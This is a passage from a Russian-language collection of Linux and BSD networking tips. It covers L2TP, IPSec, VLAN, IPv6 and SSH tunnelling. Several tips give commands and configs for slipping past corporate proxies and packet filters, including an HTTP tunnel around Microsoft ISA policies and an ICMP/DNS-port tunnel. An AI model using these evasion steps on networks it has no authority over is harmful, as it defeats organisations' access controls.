       if [ "x$IF_L2TPSERV" != "x" -a "x$IF_L2TPGW" != "x" ]
       then
          for i in $(grep "^nameserver" /etc/resolv.conf | awk '{print $2}') ; do
             $BINROUTE add -host $i gw $IF_L2TPGW
          done
          $BINROUTE add -host $IF_L2TPSERV gw $IF_L2TPGW
       fi
       exit 0
    
    2.1. openl2tp vs. xl2tpd.
    
    openl2tp работает быстрее, ping (меньше и стабильней), но вечерами отваливается
    и уже после этого не подымается до поздней ночи.
    Еще пару раз при неудачной последовательности запуска вешал ядро. В общем сыроват.
    
    xl2tpd(l2tpd) - ужасный код, но легко читается и правится, нагрузка на CPU (с
    отключенным DEBUG 1-2 %), работает стабильно, при обрывах переподключается
    самостоятельно, маленький. Мой выбор xl2tpd.
    
    2.2. Настройка xl2tpd.
    
    В процессе тестирования, мной обнаружены ошибки влияющие на стабильность.
    Поэтому рекомендую пропатчить xl2tpd.
    
    1. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=611829
    
    2. Кого раздражает в "syslog" "write_packet: Resource temporarily
    unavailable(11)". Также, заплатка уменьшает вероятность потери пакета.
    
    Патч l2tp-offsetpad-error.patch:
    
       --- xl2tpd-1.2.7+dfsg.orig/network.c
       +++ xl2tpd-1.2.7+dfsg/network.c
       @@ -153,7 +153,7 @@ inline void fix_hdr (void *buf)
         {
             int len = 6;
             if (PSBIT (ver))
       -            len += 4;
       +            len += 2;
             if (PLBIT (ver))
                 len += 2;
             if (PFBIT (ver))
       --- xl2tpd-1.2.7+dfsg.orig/control.c
       +++ xl2tpd-1.2.7+dfsg/control.c
       @@ -1299,7 +1299,7 @@ inline int check_payload (struct buffer
     			}
     		} */
             if (PSBIT (h->ver))
       -            ehlen += 4;         /* Offset information */
       +            ehlen += 2;         /* Offset information */
             if (PLBIT (h->ver))
                 ehlen += h->length; /* include length if available */
             if (PVER (h->ver) != VER_L2TP)
       @@ -1365,7 +1365,7 @@ inline int expand_payload (struct buffer
         if (!PFBIT (h->ver))
             ehlen += 4;             /* Should have Ns and Nr too */
         if (!PSBIT (h->ver))
       -        ehlen += 4;             /* Offset information */
       +        ehlen += 2;             /* Offset information */
         if (ehlen)
         {
             /*
       @@ -1410,13 +1410,13 @@ inline int expand_payload (struct buffer
             {
                 r++;
                 new_hdr->o_size = *r;
       -            r++;
       -            new_hdr->o_pad = *r;
       +//            r++;
       +//            new_hdr->o_pad = *r;
             }
             else
             {
                 new_hdr->o_size = 0;
       -            new_hdr->o_pad = 0;
       +//            new_hdr->o_pad = 0;
             }
         }
         else
       @@ -1548,8 +1548,9 @@ inline int write_packet (struct buffer *
         /*
          * Skip over header 
          */
       -    buf->start += sizeof (struct payload_hdr);
       -    buf->len -= sizeof (struct payload_hdr);
       +    _u16 offset = ((struct payload_hdr*)(buf->start))->o_size;  // For FIXME:
       +    buf->start += sizeof(struct payload_hdr) + offset;
       +    buf->len -= sizeof(struct payload_hdr) + offset;
     
         c->rx_pkts++;
         c->rx_bytes += buf->len;
       --- xl2tpd-1.2.7+dfsg.orig/call.c
       +++ xl2tpd-1.2.7+dfsg/call.c
       @@ -52,8 +52,8 @@ void add_payload_hdr (struct tunnel *t,
         buf->start -= sizeof (struct payload_hdr);
         buf->len += sizeof (struct payload_hdr);
         /* Account for no offset */
       -    buf->start += 4;
       -    buf->len -= 4;
       +    buf->start += 2;
       +    buf->len -= 2;
         if (!c->fbit && !c->ourfbit)
         {
             /* Forget about Ns and Nr fields then */
       --- xl2tpd-1.2.7+dfsg.orig/l2tp.h
       +++ xl2tpd-1.2.7+dfsg/l2tp.h
       @@ -82,7 +82,7 @@ struct payload_hdr
         _u16 Ns;                    /* Optional next sent */
         _u16 Nr;                    /* Optional next received */
         _u16 o_size;                /* Optional offset size */
       -    _u16 o_pad;                 /* Optional offset padding */
       +//    _u16 o_pad;                 /* Optional offset padding */
       } __attribute__((packed));
     
        #define NZL_TIMEOUT_DIVISOR 4   /* Divide TIMEOUT by this and
    
    
    Патч http://ilyx.ru/xl2tpd/wr_pk-nolog-err11.patch:
    
       --- xl2tpd-1.2.7+dfsg.orig/control.c
       +++ xl2tpd-1.2.7+dfsg/control.c
       @@ -1636,15 +1637,14 @@ inline int write_packet (struct buffer *
         }
        #endif
     
       -    x = write (c->fd, wbuf, pos);
       -    if (x < pos)
       +    x = 0;
       +    while ( pos != 0 )
            {
       -      if (DEBUG)
       +      x = write (c->fd, wbuf+x, pos);
       +      if ( x < 0 ) {
       +        if ( errno != EINTR && errno != EAGAIN ) {
        	l2tp_log (LOG_WARNING, "%s: %s(%d)\n", __FUNCTION__, strerror  (errno),
        		  errno);
       -
       -        if (!(errno == EINTR) && !(errno == EAGAIN))
       -        {
                 /*
                    * I guess pppd died.  we'll pretend
                    * everything ended normally
       @@ -1653,6 +1653,12 @@ inline int write_packet (struct buffer *
                 c->fd = -1;
                 return -EIO;
             }
       +        else {
       +	   x = 0;
       +          continue;
       +        }
       +      }
       +      pos = pos - x;
            }
            return 0;
        }
    
    Ставим желательно пропатченный xl2tpd. Далее приведу свои файлы конфигураций.
    
    xl2tpd.conf:
    
       [global]
       access control = yes
       [lac beeline]
       lns = tp.internet.beeline.ru
       redial = yes
       redial timeout = 20
       pppoptfile = /etc/ppp/options.xl2tpd
       autodial = yes
       flow bit = no
    
    /etc/ppp/options.xl2tpd:
    
       asyncmap 0000
       mru 1460
       mtu 1460
       name xxxxxxxx
       noaccomp
       nopcomp
       novj
       novjccomp
       noauth
       nobsdcomp
       nodeflate
       noipx
       noauth
       nomp
       refuse-eap
       # refuse-chap
       refuse-pap
       # refuse-mschap
       # refuse-mschap-v2
       replacedefaultroute
       defaultroute
       ipparam l2tp
       unit 0
    
    /etc/ppp/options:
    
       lcp-echo-failure 10
       lcp-echo-adaptive
       lcp-echo-interval 60
    
    демон pppd читает оба файла(options.xl2tpd, options). Не забываем "chap-secrets".
    
    Убираем маршрут к "tp.internet.beeline.ru" после старта "pppd" через созданный
    туннель(спасибо Corbina(Beeline) за адрес l2tp сервера, совпадающий с адресом
    второго конца туннеля).
    
    /etc/ppp/ip-up.d/delroute:
    
       #!/bin/sh
       if [ "x$6" = "xl2tp" ]
       then
          route del -host $5 dev $1
       fi
       exit 0
         
    В iptables, как минимум, нужно правило(если работаем как шлюз):
    
       $IPTABLES -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --clamp-mss-to-pmtu
    
    Ну теперь вроде бы все. Прописываем автостарт ethX или ifup ethX, затем
    "/etc/init.d/xl2tpd start" или автостарт при загрузке.
    
    Выключение тоже стандартно "/etc/init.d/xl2tpd stop" ifdown ethX.
    
    PS. У меня работает без разрывов сутками, так как компьютер дома, раза два в
    неделю выключаю. В общем доволен, хотя Beeline, мог бы сделать все по
    прозрачней для конечного пользователя. Но видимо
    не хотят. 
    
    Патчи, сборку пакета для Debian 6 amd64 и оригинал руководства можно скачать здесь.
    
     
    ----* IPSec туннель между Cisco и CentOS Linux   Автор: PsV  [комментарии]
     
    Имеем:
    
    1 Маршрутизатор Cisco 5510 ASA с реальным IP 1.1.1.1 (сеть XXX.XXX.0.0/24)
    2. Маршрутизатор Linux CentOS 5.2 (ядро 2.6.18-92.el5) с установленным
    ipsec-tools-0.6.5-13.el5_3.1 и реальным IP 2.2.2.2 (сеть XXX.XXX.0.0/16)
    
    Конфигурация на маршрутизаторе Cisco:
    
       crypto isakmp policy 5
        encr aes
        authentication pre-share
        group 2
        lifetime 3600
        hash sha
       !
       crypto isakmp key SECRETKEY address 2.2.2.2
       crypto ipsec security-association lifetime seconds 3600
       crypto ipsec transform-set GK esp-aes esp-sha-hmac
       crypto map IPSec 7 ipsec-isakmp
       set peer 2.2.2.2
       set transform-set GK
       set pfs group2
       match address 666
      !
      interface GigabitEthernet0/0.1
       ip address 1.1.1.1 255.255.255.224
       crypto map IPSec
      !
      ip route XXX.XXX.0.0 255.255.255.0 2.2.2.2
      access-list 666 remark asGK
      access-list 666 permit ip  XXX.XXX.0.0 0.0.255.255  XXX.XXX.0.0 0.0.0.255
      access-list 666 deny   ip any any
    
    
    Конфигурация на машине с Linux CentOS:
    
    /etc/sysconfig/network-scripts/ifcfg-ipsec0
    
       TYPE=IPSEC
       ONBOOT=yes
       IKE_METHOD=PSK
       IKE_PSK=SECRETKEY
       IKE_DHGROUP=2
       ESP_PROTO=aes
       AH_PROTO=none
       AESP_PROTO=hmac-sha1
       SRC=2.2.2.2
       SRCGW=XXX.XXX.0.100
       DSTGW=1.1.1.1
       SRCNET=XXX.XXX.0.0/24
       DSTNET=XXX.XXX.0/16
       DST=1.1.1.1
    
    
    /etc/racoon/racoon.conf
    
       path include "/etc/racoon";
       path pre_shared_key "/etc/racoon/psk.txt";
       log notify;
    
       listen
       {
          isakmp 2.2.2.2 [500];
       }
    
       sainfo address  XXX.XXX.0.0/24 any address XXX.XXX.0.0/16 any
       {
           pfs_group 2;
           lifetime time 6400 sec;
           encryption_algorithm aes;
           authentication_algorithm hmac_sha1;
           compression_algorithm deflate;
       }
    
    
    и не забываем про iptables!!
    
    после настройки
    
       #ifup ipsec0
    
    после поднятия ipsec0 можно посмотреть есть ли туннель
    
       #setkey -D
    
       2.2.2.2 1.1.1.1
           esp mode=tunnel spi=3839224802(0xe4d5ebe2) reqid=0(0x00000000)
           E: aes-cbc  c98674dd c1cda3a8 36f39eb5 84fd56b4 192e4acd 7ad470d7 0176919b c955cc38
           A: hmac-sha1  d8e6305b 8b0352ab 249d125f 1515e6a8 136d8896
           seq=0x00000000 replay=4 flags=0x00000000 state=mature
           created: Jul  8 10:19:23 2010 current: Jul  8 10:44:57 2010
           diff: 1534(s)   hard: 86400(s)  soft: 69120(s)
           last: Jul  8 10:19:27 2010    hard: 0(s)        soft: 0(s)
           current: 2160(bytes)    hard: 0(bytes)  soft: 0(bytes)
           allocated: 18   hard: 0 soft: 0
           sadb_seq=1 pid=8863 refcnt=0
       1.1.1.1 2.2.2.2
           esp mode=tunnel spi=111533039(0x06a5dbef) reqid=0(0x00000000)
           E: aes-cbc  3e1f5040 cf6c15d2 8083dc28 aa6006ef df53337f 13b31da2 2782ef5c e46d3567
           A: hmac-sha1  a9553dd3 e9b431a5 534baef8 a2b1f34b cc2b8867
           seq=0x00000000 replay=4 flags=0x00000000 state=mature
           created: Jul  8 10:19:23 2010 current: Jul  8 10:44:57 2010
           diff: 1534(s)   hard: 86400(s)  soft: 69120(s)
           last: Jul  8 10:19:27 2010    hard: 0(s)        soft: 0(s)
           current: 833(bytes)     hard: 0(bytes)  soft: 0(bytes)
           allocated: 18   hard: 0 soft: 0
           sadb_seq=0 pid=8863 refcnt=0
    
    
    Ссылки:
           http://www.opennet.ru/base/cisco/cisco_ipsec_freebsd.txt.html (очень помогла эта статья)
           http://netbsd.gw.com/cgi-bin/man-cgi?racoon++NetBSD-current
    
     
    ----* Создание HTTP-туннеля для удаленного доступа к Linux-хосту в обход Microsoft ISA (доп. ссылка 1)   [комментарии]
     
    Для организации управления внешней рабочей станцией из корпоративной сети,
    защищенной Microsoft ISA, можно поднять HTTP-туннель, при помощи которого можно
    установить TCP-соединение, несмотря на использование HTTP-прокси и жестких
    политик ограничения доступа на межсетевом экране.
    
    Использовать классический пакет GNU HTTPtunnel
    (http://www.gnu.org/software/httptunnel/) в такой ситуации мешает отсутствие
    поддержки в данной программе  NTLM-аутентифиукации, как правило используемой
    при организации выхода пользователей в сеть через Microsoft ISA. Выходом в
    данной ситуации является использование программы BoutDuTunnel
    (http://boutdutunnel.net/), совместимой с большинством HTTP-прокси,
    поддерживающей NTLM-аутентифиукацию, способной работать даже при блокировании
    HTTPS и метода "Connect", содержащей в себе встроенный HTTP-сервер и
    поддерживающей работу поверх Socks.
    
    BoutDuTunnel поддерживает работу из Linux и Windows, при запуске из Linux
    достаточно установить пакет mono и загрузить готовый исполняемый файл bdtunnel
    (http://sourceforge.net/projects/bdtunnel/files/).
    
    После установки правим на стороне удаленного сервера файл BdtServerCfg.cfg в
    директории BdtServer, приведя его примерно в такой вид:
    
       <service
          name = "BdtServer"
          protocol = "Bdt.Shared.Protocol.TcpRemoting"
          port = "80"
        />
    
       <users>
          <имя_пользователя
             enabled = "true"
             password = "пароль"
             admin = "false"
             stimeout = "12"
             ctimeout = "1"
          />
       </users>
    
    , где name - имя туннеля (должно быть одинаковым на обоих концах туннеля),
    protocol - тип туннельного протокола, port - номер серверного порта для
    формирования туннеля. Секция "users" определяет параметры авторизации для
    создания туннеля и таймауты для сброса неактивных сессий и соединений.
    
    После настройки запускаем на стороне удаленного сервера (привилегии
    суперпользователя нужны для организации приема соединений на 80 порту):
    
       sudo mono BdtServer.exe
    
    На стороне клиента, находящегося в локальной сети за прокси-сервером, правим
    файл BdtClientCfg.xml в директории BdtGuiClient, приведя его к виду:
    
       <service
          name="BdtServer"
          protocol="Bdt.Shared.Protocol.TcpRemoting"
          address="адрес удаленного сервера"
          port="80"
          username="имя пользователя"
          password="пароль"
          culture=""
       />
    
       <port22
          enabled="true"
          shared="false"
          address="адрес удаленного сервера"
          port="22" 
       />
    
    Секция port22 определяет проброс 22 порта на удаленный сервер, что позволит
    использовать протокол SSH или работающие поверх него сервисы, например, rsync,
    git, NX Client.
    
    Запускаем BdtGuiClient.exe, после чего при соединении к localhost по 22 порту
    будет автоматически произведен переброс на 22 порт удаленного сервера, при этом
    с точки зрения прокси будет установленно классическое HTTP-соединение, так как
    на удаленном конце BoutDuTunnel выступает в роли HTTP-сервера, а не использует
    HTTPS-метод "Connect".
    
    Для противников Mono вместо BoutDuTunnel можно рекомендовать имеющийся в
    стандартных репозиториях Debian/Ubuntu пакет proxytunnel
    (http://proxytunnel.sourceforge.net/), который также поддерживает
    NTLM-аутентификацию, но может работать только на Unix-совместимых системах и
    требует включения метода connect на прокси.
    
    Для проброса 22 порта поверх HTTP-прокси при использовании proxytunnel
    достаточно прописать в файл конфигурации OpenSSH ~/.ssh/config:
    
       ProtocolKeepAlives 30
       ProxyCommand /usr/bin/proxytunnel --ntlm -p хост_прокси:порт_прокси -u логин -s пароль -d удаленный_сервер:443
    
     
    ----* Установка PAN-соединения через bluetooth во FreeBSD 7.2   Автор: shurik  [комментарии]
     
    Рассказ об организации выхода ноутбутка  в сеть через комуникатор Toshiba
    Portege G810 с Windows Mobile 6.1 на борту,
    не позволяющий использовать его в качестве gprs-модема, но позволяющий
    организовать соединение с ПК
    через bluetooth PAN. 
    
    В состав FreeBSD 7.2 был включен демон btpand с реализацией поддержки профилей
    Bluetooth Network Access Point (NAP),
    Group Ad-hoc Network (GN) и Personal Area Network User (PANU). Связывание комуникатора с 
    ноутбуком через bluetooth я описывать не буду - это хорошо изложено в хендбуке 
    (http://www.freebsd.org/doc/ru/books/handbook/network-bluetooth.html). 
    Для использования btpand нам необходимо знать BD_ADDR не только коммуникатора, но и локального ПК. 
    
    Узнать его можно так:
    
       # hccontrol Read_BD_ADDR
       BD_ADDR: 00:1a:6b:df:1b:c9
    
    Для удобства добавим BD_ADDR комуниактора и ПК в /etc/bluetooth/hosts:
    
       00:1a:6b:df:1b:c9 hp6710s
       00:1b:24:a8:9c:76 g810
    
    Далее все как описано в man 8 btpand:
    
       # ifconfig tap0 create
    
       # btpand -a g810 -d hp6710s -s NAP -i tap0
    
       btpand[1986]: Searching for NAP service at 00:1b:24:a8:9c:76
       btpand[1986]: Found PSM 15 for service NAP
       btpand[1986]: Opening connection to service 0x1116 at 00:1b:24:a8:9c:76
       btpand[1986]: channel_open: (fd#4)
       btpand[1986]: Using interface tap0 with addr 00:00:6b:df:1b:c9
       btpand[1986]: channel_open: (fd#5)
    
       # dhclient tap0
    
       DHCPDISCOVER on tap0 to 255.255.255.255 port 67 interval 5
       DHCPOFFER from 192.168.0.1
       DHCPREQUEST on tap0 to 255.255.255.255 port 67
       DHCPACK from 192.168.0.1
       bound to 192.168.0.238 -- renewal in 129600 seconds.
    
    Все можем работать:)
    
     
    ----* Ограничение возможностей ssh туннеля при помощи iptables   Автор: Avatar  [комментарии]
     
    Использование туннелей на основе ssh сейчас широко распространено. И многие используют его как 
    универсальное решение для организации туннелей внутрь локальной сети для
    доступа к различным сервисам.
    И в связи с этим очень часто возникает вопрос "А как ограничить возможности такого туннеля".
    
    Например: 
    есть компания, которая обслуживает ваш web сервер. Для выполнения этой работы требуется доступ 
    к серверу web-server.dmz по портам 80 и 443.
    
    Решение: 
    на сервере ssh, через который создаётся туннель, выполняем: 
    
    1) добавляем пользователя aaa
    
    2) устанавливаем ему шелл /bin/false (или другой, только так чтобы он не мог залогиниться)
    
    3) Добавляем правила iptables:
    
       iptables -A OUTPUT -d web-server.dmz -p tcp -m tcp --dport 80 -m owner --uid-owner aaa -j ACCEPT
       iptables -A OUTPUT -d web-server.dmz -p tcp -m tcp --dport 443 -m owner --uid-owner aaa -j ACCEPT
       iptables -A OUTPUT -m owner --uid-owner aaa -j REJECT
    
     
    ----* Включение поддержки VLAN на ADSL-маршрутизаторе D-Link 2500U/BRU/D   Автор: halic  [комментарии]
     
    Переделанная прошивка позволяет указывать VLAN-id на ethernet порте  модема D-Link 2500U/BRU/D
    (http://dlink.ru/ru/products/3/745.html).
    VLAN-id не указывается каким-то отдельным пунктом, а берется из IP.
    Если нужен VLAN-id 22, меняйте локальный IP модема на X.X.22.X, если 66 - X.X.66.X.
    Например: 192.168.55.1 для VLAN-id #55.
    Прошивка проверенно работает на модемах первой ревизии, т.е. без индикатора Internet.
    
    Оригинальные исходники можно загрузить здесь:
       ftp://ftp.dlink.ru/pub/ADSL/GPL_source_code/DSL-2500U_BRU_D/DLink_DSL-2500U_RU_1.20_release.tar.gz
    
    Патч:
    
       diff -urN ../DLink_DSL-2500U.original/hostTools/scripts/defconfig-bcm.template ./hostTools/scripts/defconfig-bcm.template
       --- ../DLink_DSL-2500U.original/hostTools/scripts/defconfig-bcm.template	2008-06-13 16:43:17.000000000 +0300
       +++ ./hostTools/scripts/defconfig-bcm.template	2009-02-06 21:19:01.000000000 +0200
       @@ -615,7 +615,7 @@
        CONFIG_ATM_BR2684=m
        # CONFIG_ATM_BR2684_IPFILTER is not set
        CONFIG_ATM_RT2684=y
       -# CONFIG_VLAN_8021Q is not set
       +CONFIG_VLAN_8021Q=y
        # CONFIG_LLC2 is not set
        # CONFIG_IPX is not set
        # CONFIG_ATALK is not set
       diff -urN ../DLink_DSL-2500U.original/hostTools/scripts/gendefconfig ./hostTools/scripts/gendefconfig
       --- ../DLink_DSL-2500U.original/hostTools/scripts/gendefconfig	2008-06-13 16:43:17.000000000 +0300
       +++ ./hostTools/scripts/gendefconfig	2009-02-06 21:18:45.000000000 +0200
       @@ -462,9 +462,9 @@
       ############################################################
       # VLAN config generation
       ############################################################
       -if [ "$BUILD_VCONFIG" != "" -o "$BUILD_WANVLANMUX" != "" ]; then
       -SEDCMD="$SEDCMD -e 's/# CONFIG_VLAN_8021Q is not  set/CONFIG_VLAN_8021Q=y/'"
       -fi
       +#if [ "$BUILD_VCONFIG" != "" -o "$BUILD_WANVLANMUX" != "" ]; then
       +#SEDCMD="$SEDCMD -e 's/# CONFIG_VLAN_8021Q is not  set/CONFIG_VLAN_8021Q=y/'"
       +#fi
     
        ############################################################
        #       WAN operation over Ethernet
       diff -urN ../DLink_DSL-2500U.original/targets/fs.src/etc/rc.vlan ./targets/fs.src/etc/rc.vlan
       --- ../DLink_DSL-2500U.original/targets/fs.src/etc/rc.vlan	1970-01-01 03:00:00.000000000 +0300
       +++ ./targets/fs.src/etc/rc.vlan	2009-02-07 06:32:13.000000000 +0200
       @@ -0,0 +1,12 @@
       +#!/bin/sh
       +
       +PATH=/bin:/sbin:/usr/bin
       +export PATH
       +
       +VID=$1
       +VIF=eth0.$VID
       +
       +vconfig add eth0 $VID > /dev/null 2> /dev/null
       +ifconfig $VIF up > /dev/null 2> /dev/null
       +brctl addif br0 $VIF > /dev/null 2> /dev/null
       +brctl delif br0 eth0 > /dev/null 2> /dev/null
       diff -urN ../DLink_DSL-2500U.original/userapps/broadcom/cfm/html   /DLink_Style/footer.html ./userapps/broadcom/cfm/html/DLink_Style/footer.html
       --- ../DLink_DSL-2500U.original/userapps/broadcom/cfm/html/DLink_Style/footer.html	2008-06-13 16:45:30.000000000 +0300
       +++ ./userapps/broadcom/cfm/html/DLink_Style/footer.html	2009-02-09 22:02:46.000000000 +0200
       @@ -11,9 +11,9 @@
                 <tr>
                     <td class="footerTd" align="center">
                         <font color="white" face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular">
       -                    Recommend: 800x600 pixels,High Color(16 Bits)
       +                    Recommend: 800x600 pixels,High Color(16 Bits) · <font color="red">VLAN POWERED</font>
                     </font></td>
                 </tr>
             </table>
         </body>
       -</html>
       \ No newline at end of file
       +</html>
       diff -urN ../DLink_DSL-2500U.original/userapps/opensource/busybox/brcm.config ./userapps/opensource/busybox/brcm.config
       --- ../DLink_DSL-2500U.original/userapps/opensource/busybox/brcm.config	2008-06-13 16:45:18.000000000 +0300
       +++ ./userapps/opensource/busybox/brcm.config	2009-02-07 01:32:49.000000000 +0200
       @@ -279,7 +279,7 @@
        CONFIG_FEATURE_TFTP_DEBUG=n
     
        # CONFIG_TRACEROUTE is not set
       -CONFIG_VCONFIG=n
       +CONFIG_VCONFIG=y
        # CONFIG_WGET is not set
     
        #
       diff -urN ../DLink_DSL-2500U.original/userapps/opensource/busybox/networking/ifconfig.c ./userapps/opensource/busybox/networking/ifconfig.c
       --- ../DLink_DSL-2500U.original/userapps/opensource/busybox/networking/ifconfig.c	2008-06-13 16:45:17.000000000 +0300
       +++ ./userapps/opensource/busybox/networking/ifconfig.c	2009-02-07 07:42:04.000000000 +0200
       @@ -37,6 +37,7 @@
        #include <string.h>		/* strcmp and friends */
        #include <ctype.h>		/* isdigit and friends */
        #include <stddef.h>		/* offsetof */
       +#include <unistd.h>
        #include <netdb.h>
        #include <sys/ioctl.h>
        #include <net/if.h>
       @@ -558,6 +559,28 @@
     		continue;
     	}					/* end of while-loop    */
     
       +	if(	strcmp(ifr.ifr_name, "br0") == 0  &&
       +		((char*)&sai.sin_addr.s_addr)[0] != 0 &&
       +		((char*)&sai.sin_addr.s_addr)[2] > 1
       +	  )
       +	{
       +		int __pid;
       +		char __cmd[32];
       +
       +		if((__pid = fork()) == 0)
       +		{
       +			sprintf(__cmd, "/etc/rc.vlan %d", 
       +				(char)    (((char*)&sai.sin_addr.s_addr)[2]) );
       +			execl("/bin/sh", "/bin/sh", "-c", __cmd, NULL);
       +			exit(0);
       +		}
       +		else
       +		{
       +			if(__pid == -1)
       +				fprintf(stderr, "ifconfig: unable to execute /etc/rc.vlan\n");
       +		}
       +	}
       +
     	return goterr;
        }
     
    
    Готовый бинарник можно запросить по адресу: <halic, который на инбоксе в россии>.
    
     
    ----* Проброс TCP соединения через ICMP туннель   [комментарии]
     
    Утилита PingTunnel (http://www.cs.uit.no/~daniels/PingTunnel/) позволяет организовать 
    TCP тунель поверх ICMP 'echo' или 53 UDP порта. Подобное может оказаться полезным для обеспечения
    работы клиента, для которого пакетным фильтром заблокирован весь трафик, кроме
    ICMP или 53 UDP порта.
    Для работы PingTunnel необходим запуск прокси-процесса на удаленной машине 
    (не важно, под какой ОС, утилитой поддерживается даже Windows), имеющей выход в сеть.
    
    Ставим ptunnel.
    В Debian/Ubuntu:
       apt-get install ptunnel
    В RedHat/CentOS/Fedora:
       yum install ptunnel
    Во FreeBSD:
       cd /usr/ports/net/ptunnel && make && make install
    
    На внешней машине, имеющей выход в сеть, запускаем icmp-прокси ("-x пароль" можно не указывать, 
    но тогда пустит любого):
    
       ptunnel -x пароль
    
    На локальной машине, на которой ничего кроме ICMP не работает, поднимаем туннель:
    
       ptunnel -p хост_прокси -lp локальный_порт_туннеля -da адрес_дальнейшего_проброса \
          -dp порт_дальнейшего_проброса -x пароль
    
    Например:
    
        ptunnel -p proxy.testhost.ru -lp 2222 -da server.testhost.ru -dp 22 -x пароль
    
    На proxy.testhost.ru у нас должен быть запущен icmp-прокси.
    
    При коннекте на 2222 порт локальной машины мы будем переброшены на 22 порт
    хоста server.testhost.ru
    
    Например, для входа на server.testhost.ru по SSH нужно набрать:
    
       ssh -p 2222 localhost
    
    В случае проблем можно попробовать указать имя внешнего сетевого интерфейса через опцию "-c", 
    например "-c eth1".
    
    Для создания туннеля через 53 UDP порт на локальной и удаленной стороне нужно
    запустить ptunnel c опцией "-udp".
    
     
    ----* Организация подключения по SSH через HTTP прокси   [комментарии]
     
    Устанавливаем ПО corkscrew (http://www.agroman.net/corkscrew/), позволяющее
    создавать туннели поверх HTTP прокси.
    
    Например, для Debian/Ubuntu:
       apt-get install corkscrew
    
    Для FreeBSD:
       cd /usr/ports/net/corkscrew && make && make install
    
    
    Создаем в домашней директории файл настроек .proxy-auth в который прописываем логин и пароль 
    для подключения к прокси, в формате "имя:пароль", например:
    
       moi_login:moi_parol
    
    Настраиваем проброс туннеля в SSH. В ~/.ssh/config добавляем:
    
       Host *
       ProxyCommand corkscrew хост_прокси_сервера порт_прокси_сервера %h %p ~/.proxy-auth
    
    Вместо %h и %p ssh подставит хост и порт удаленной машины
    
    Подключаемся к внешнему хосту стандартно:
    
       ssh testhost.ru
    
     
    ----* Автоматическое изменение MTU при поднятии VPN соединения   Автор: HolyGun  [комментарии]
     
    Столкнулся с такой проблемой, что при поднятии VPN соединения по умолчанию у каждого соединения 
    MTU равен был 1396. В результате чего не работало большое количество сайтов.
    
    Решение такое.
    Сервер Fedora 8, с установленным pptpd.
    в скрипт /etc/ppp/ip-up добавил одно условие:
    
       if [ "${REALDEVICE}" != "ppp0" ]; then
          ifconfig ${REALDEVICE} mtu 1400
       fi
    
    Теперь скрипт выглядит так:
    
       #!/bin/bash
       # This file should not be modified -- make local changes to
       # /etc/ppp/ip-up.local instead
    
       PATH=/sbin:/usr/sbin:/bin:/usr/bin
       export PATH
     
       LOGDEVICE=$6
       REALDEVICE=$1
    
       [ -f /etc/sysconfig/network-scripts/ifcfg-${LOGDEVICE} ] && 
          /etc/sysconfig/network-scripts/ifup-post --realdevice ${REALDEVICE} ifcfg-${LOGDEVICE}
    
       /etc/ppp/ip-up.ipv6to4 ${LOGDEVICE}
    
       if [ "${REALDEVICE}" != "ppp0" ]; then
          ifconfig ${REALDEVICE} mtu 1400
       fi
    
       [ -x /etc/ppp/ip-up.local ] && /etc/ppp/ip-up.local "$@"
    
       exit 0
    
    PS. Средствами pptpd я не смог установить MTU в нужное значение. Если есть какие либо идеи, 
    не поленитесь, поделитесь :)
    
     
    ----* Настройка IPv6 в Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    IPv6 соединение будем туннелировать через брокер туннелей (Tunnel Broker), 
    так как не все ISP поддерживают прямое IPv6 соединение.
    
    Регистрируем свою систему в сервисе http://tunnelbroker.net/ (выбираем "Create Regular Tunnel")  , 
    http://go6.net/4105/freenet.asp или http://www.sixxs.net/
    
    При регистрации вводим IPv4 адрес машины, на которой будет поднят туннель.
    После регистрации получаем: 
    IPv4 адрес удаленного конца туннеля: 216.66.80.30
    IPv6 адрес удаленного шлюза: 2001:0470:1f0a:cc0::1/64
    Клиентский IPv6 адрес, который нужно использовать на своей машине: 2001:0470:1f0a:cc0::2/64
    
    Поднимаем IPv6-in-IPv4 туннель:
    
       ifconfig sit0 up
       ifconfig sit0 inet6 tunnel ::216.66.80.30
       ifconfig sit1 up
       ifconfig sit1 inet6 add 2001:0470:1f0a:cc0::2/64
       route -A inet6 add ::/0 dev sit1
    
    Проверяем через пинг удаленного конца туннеля и IPv6 хоста из списка
    http://www.ipv6.org/v6-www.html :
       ping6 -c4 2001:0470:1f0a:cc0::1
       ping6 -c4 www.ipv6.uni-muenster.de
    
    
    Создаем файл /etc/network/if-up.d/ipv6 для настройки параметров при загрузке:
    
       #!/bin/sh
       PATH=/sbin:/bin
       ifconfig sit0 up
       ifconfig sit0 inet6 tunnel ::216.66.80.30
       ifconfig sit1 up
       ifconfig sit1 inet6 add 2001:0470:1f0a:cc0::2/64
       route -A inet6 add ::/0 dev sit1
    
    Не забываем поставить права доступа:
       chmod 755 /etc/network/if-up.d/ipv6
    
     
    ----* Туннели с использованием SSH. Режим эмуляции Socks proxy в SSH (доп. ссылка 1) (доп. ссылка 2)   Автор: Vladimir Brednikov  [комментарии]
     
    1. Режим эмуляции Socks proxy в SSH
    
    Допустим, у нас есть рабочая станция в локальной сети за firewall'ом;
    также имеется ssh-доступ на сервер в Интернете. Кроме ssh, никакой связи с
    внешним миром не имеется,
    а очень хочется, например, подключиться к какому-нибудь jabber-серверу.
    
    На рабочей станции запускаем простую команду:
    
       ssh -D 5555 user@remotehost -f -N
    
    , где -D 5555 - эмуляция SOCKS сервера через порт 5555 
    -f  - работа в фоне, после аутентификации
    -N - не запускать shell на удаленном хосте.
    
    Теперь, указав в настройках XMPP-клиента (например, Pidgin'а) в качестве SOCKS5
    прокси localhost:5555,
    получим желаемый результат: Pidgin соединяется с сервером через внешний сервер.
    
    
    2. Туннель ssh
    
    Дано: сервер локальной сети ourproxy.provider.ru, доступный извне.
    
    Требуется: получить из дома доступ к ресурсам внутри локальной сети, например,
    к интранет-серверу 10.10.5.1:80
    
    Решение: выполнить на домашней машине команду, пробрасывающую туннель к
    искомому IP-адресу через ourproxy.provider.ru:
    
        ssh -f -N user@ourproxy.provider.ru -L 8080:10.10.5.1:80
    
    Опция -f говорит ssh, что после соединения нужно уйти в background.
    Опция -N указывает, что никаких команд выполнять не нужно
    Ключ -L означает, что соединения к localhost на порт 8080 нужно перенаправлять
    на 80 порт IP-адреса 10.10.5.1
    
    Таким образом, набирая в браузере адрес http://localhost:8080, попадаем на нужный сервер.
    
    
    3. Обратный туннель ssh
    
    
